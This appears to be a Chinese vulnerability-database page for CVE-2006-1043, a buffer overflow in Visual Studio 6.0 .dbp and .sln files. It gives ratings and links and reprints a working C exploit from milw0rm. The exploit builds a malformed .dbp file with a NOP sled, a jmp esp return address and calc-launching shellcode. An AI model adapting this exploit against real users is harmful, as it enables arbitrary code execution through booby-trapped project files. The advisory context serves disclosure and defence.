CVE-2006-1043
CVSS5.1
发布时间 :2006-03-07 06:02:00
修订时间 :2011-08-02 00:00:00
NMCOE    

[原文]Stack-based buffer overflow in Microsoft Visual Studio 6.0 and Microsoft Visual InterDev 6.0 allows user-assisted attackers to execute arbitrary code via a long DataProject field in a (1) Visual Studio Database Project File (.dbp) or (2) Visual Studio Solution (.sln).


[CNNVD]Microsoft Visual Studio DBP和SLN文件DataProject字段缓冲区溢出漏洞(CNNVD-200603-095)

        Microsoft Visual Studio是微软公司的开发工具套件系列产品,是一个基本完整的开发工具集,包括了软件整个生命周期中所需要的大部分工具。
        Visual Studio的数据库项目文件(.dbp)和解决方案(.sln)文件格式中存在缓冲区溢出漏洞,攻击者可能利用此漏洞在机器上执行任意指令。
        如果这些文件的"DataProject"字段中包含有超长的字符串的话,就会触发栈溢出,完全控制EIP寄存器,导致执行任意指令。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:visual_studio:6.0:sp4Microsoft Visual Studio 6.0 Service Pack 4
cpe:/a:microsoft:visual_studio:6.0:sp5Microsoft Visual Studio 6.0 Service Pack 5
cpe:/a:microsoft:visual_interdev:6.0Microsoft visual_interdev 6.0
cpe:/a:microsoft:visual_studio:6.0:sp3Microsoft Visual Studio 6.0 Service Pack 3
cpe:/a:microsoft:visual_studio:6.0:sp2Microsoft Visual Studio 6.0 Service Pack 2
cpe:/a:microsoft:visual_studio:6.0:sp1Microsoft Visual Studio 6.0 Service Pack 1
cpe:/a:microsoft:visual_studio:6.0Microsoft Visual Studio 6.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1043
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1043
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-095
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/25148
(UNKNOWN)  XF  visualstudio-dataproject-bo(25148)
http://www.vupen.com/english/advisories/2006/0825
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0825
http://www.securityfocus.com/bid/16953
(UNKNOWN)  BID  16953
http://www.securityfocus.com/archive/1/archive/1/426830/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060305 Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit
http://www.securityfocus.com/archive/1/archive/1/426767/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060304 Visual Studio 6.0 Buffer Overflow Vulnerability
http://www.osvdb.org/23711
(UNKNOWN)  OSVDB  23711
http://www.frsirt.com/exploits/20060305.ms-visual-dbp.c.php
(VENDOR_ADVISORY)  MISC  http://www.frsirt.com/exploits/20060305.ms-visual-dbp.c.php
http://securitytracker.com/id?1015721
(VENDOR_ADVISORY)  SECTRACK  1015721
http://secunia.com/advisories/19081
(VENDOR_ADVISORY)  SECUNIA  19081

- 漏洞信息

Microsoft Visual Studio DBP和SLN文件DataProject字段缓冲区溢出漏洞
中危 缓冲区溢出
2006-03-07 00:00:00 2006-08-28 00:00:00
远程  
        Microsoft Visual Studio是微软公司的开发工具套件系列产品,是一个基本完整的开发工具集,包括了软件整个生命周期中所需要的大部分工具。
        Visual Studio的数据库项目文件(.dbp)和解决方案(.sln)文件格式中存在缓冲区溢出漏洞,攻击者可能利用此漏洞在机器上执行任意指令。
        如果这些文件的"DataProject"字段中包含有超长的字符串的话,就会触发栈溢出,完全控制EIP寄存器,导致执行任意指令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.microsoft.com/technet/security/

- 漏洞信息 (1555)

MS Visual Studio 6.0 sp6 (Malformed .dbp File) Buffer Overflow Exploit (EDBID:1555)
windows local
2006-03-05 Verified
0 Kozan
N/A [点击下载]
/*****************************************************************

Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozan

Bug Discovered and Exploit Coded by: Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Affected Vendor:

Microsoft (www.microsoft.com)


Affected Products:

Microsoft Visual Studio 6.0 (with latest Service Pack 6)
Microsoft Development Environment 6.0 (SP6) (Microsoft Visual InterDev 6.0)


Vulnerability Details:

A Buffer Overflow Vulnerability is exists for the following file formats
of affected product.


Visual Studio Database Project File (.dbp)
Visual Studio Solution (.sln)

Original Advisory and Technical Details:

http://spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=73
http://www.securitytracker.com/alerts/2006/Mar/1015721.html

*****************************************************************/

#include <windows.h>
#include <stdio.h>


char szHeaderBlock[] =
       "\x23\x20\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x44\x65\x76\x65"
   "\x6C\x6F\x70\x65\x72\x20\x53\x74\x75\x64\x69\x6F\x20\x50\x72\x6F"
   "\x6A\x65\x63\x74\x20\x46\x69\x6C\x65\x20\x2D\x20\x44\x61\x74\x61"
   "\x62\x61\x73\x65\x20\x50\x72\x6F\x6A\x65\x63\x74\x0D\x0A\x42\x65"
   "\x67\x69\x6E\x20\x44\x61\x74\x61\x50\x72\x6F\x6A\x65\x63\x74\x20"
   "\x3D\x20\x22\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


// 0x4656b8c3 - jmp esp - VSSLN.DLL

char szEip[] = "\xc3\xb8\x56\x46";


char szTrashCode[] =
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90";


// invoke calc.exe

char szShellCode[] =
       "\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef"
       "\x9b\xf0\xd8\x83\xeb\xfc\xe2\xf4\x13\x73\xb4\xd8\xef\x9b\x7b\x9d"
       "\xd3\x10\x8c\xdd\x97\x9a\x1f\x53\xa0\x83\x7b\x87\xcf\x9a\x1b\x91"
       "\x64\xaf\x7b\xd9\x01\xaa\x30\x41\x43\x1f\x30\xac\xe8\x5a\x3a\xd5"
       "\xee\x59\x1b\x2c\xd4\xcf\xd4\xdc\x9a\x7e\x7b\x87\xcb\x9a\x1b\xbe"
       "\x64\x97\xbb\x53\xb0\x87\xf1\x33\x64\x87\x7b\xd9\x04\x12\xac\xfc"
       "\xeb\x58\xc1\x18\x8b\x10\xb0\xe8\x6a\x5b\x88\xd4\x64\xdb\xfc\x53"
       "\x9f\x87\x5d\x53\x87\x93\x1b\xd1\x64\x1b\x40\xd8\xef\x9b\x7b\xb0"
       "\xd3\xc4\xc1\x2e\x8f\xcd\x79\x20\x6c\x5b\x8b\x88\x87\xe5\x28\x3a"
       "\x9c\xf3\x68\x26\x65\x95\xa7\x27\x08\xf8\x91\xb4\x8c\x9b\xf0\xd8";


char szTrashCode2[] =
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


char szFooterBlock[] = "\x22\x0D\x0A\x45\x6E\x64\x0D\x0A";


int main()
{
       fprintf(stdout, "\r\n\r\n"
                                       "--------------------------------------------------------------------------"
                                       "\r\n"
                                       "Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozan\n"
                                       "Bug Discovered and Exploit Coded by:Kozan\n"
                                       "Credits to ATmaCA\n"
                                       "www.spyinstructors.com - kozan@spyinstructors.com\n"
                                       "\r\n"
                                       "--------------------------------------------------------------------------"
                                       "\r\n\r\n"
       );

       int nBufLen =   sizeof(szHeaderBlock) +
                                       sizeof(szFooterBlock) +
                                       sizeof(szTrashCode) +
                                       sizeof(szTrashCode2) +
                                       sizeof(szEip) +
                                       sizeof(szShellCode) - 6;

       char *pszFileBuf = (char*)malloc(nBufLen);

       memset(pszFileBuf, 0x90, nBufLen);
       memcpy(pszFileBuf, szHeaderBlock, sizeof(szHeaderBlock)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1, szEip, sizeof(szEip)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1, szTrashCode, sizeof(szTrashCode)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1, szShellCode, sizeof(szShellCode)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1, szTrashCode2, sizeof(szTrashCode2)-1);
       memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1+sizeof(szTrashCode2)-1, szFooterBlock, sizeof(szFooterBlock)-1);

       FILE *fp;
       if( (fp = fopen("c:\\vuln.dbp","a+b")) == NULL )
       {
               fprintf( stderr, "[Error]\t: Can not create c:\\vuln.dbp file!\r\n");
               return -1;
       }
       fwrite(pszFileBuf, nBufLen, 1, fp);
       fclose(fp);

       fprintf( stdout, "[Completed]\t: c:\\vuln.dbp file created successfuly. Open it to test...\r\n");

       return 0;

}

// milw0rm.com [2006-03-05]
		

- 漏洞信息

23711
Microsoft Visual Studio .dbp File DataProject Field Buffer Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Visual Studio. Visual Studio fails to perform proper boundary checks within the handling of ".dbp" files that contain an overly long string in the "DataProject" field, resulting in a stack-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2006-03-03 Unknow
2006-03-03 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站